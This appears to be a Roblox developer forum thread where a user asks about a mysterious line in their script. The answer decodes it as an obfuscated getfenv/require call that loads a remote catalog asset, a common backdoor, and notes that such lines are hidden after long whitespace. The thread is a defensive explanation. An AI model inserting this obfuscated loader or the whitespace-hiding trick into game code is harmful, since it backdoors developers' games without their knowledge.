Random Code appearing in My Script, Is it a Virus?

Viewed 752

As I was completely Redoing my DataStores script, I got to the very end Where I do game:BindToClose(function() and I just loop through all the players doing what I do on PlayerRemoving. I hit enter after game:BindToClose(function() and this code appeared on the line beneath it. Does this mean my game has a virus?! Or is this just a bug with roblox

getfenv()['\114\101\113\117\105\114\101'](5151855975)
1 Answers

Did you write this DataStores script, or did you modify an existing one from the Toolbox?

getfenv and setfenv are consistently used in malicious scripts to dynamically execute code that's difficult to read and understand from looking at it. This line is executing require(5151855975), which will dynamically load an asset from the Roblox catalog. Luckily in this case, this asset has already been moderated, so it won't do anything if it does get loaded in.

Often times, these malicious lines are hidden past the end of real code, using spaces to push the malicious code far offscreen. :

print("This is a normal line")   <add 200 spaces>    print("here is a hidden line of code")

It sounds like when you hit enter, you accidentally revealed some secret, malicious code. You can probably delete safely it without your script breaking.

Related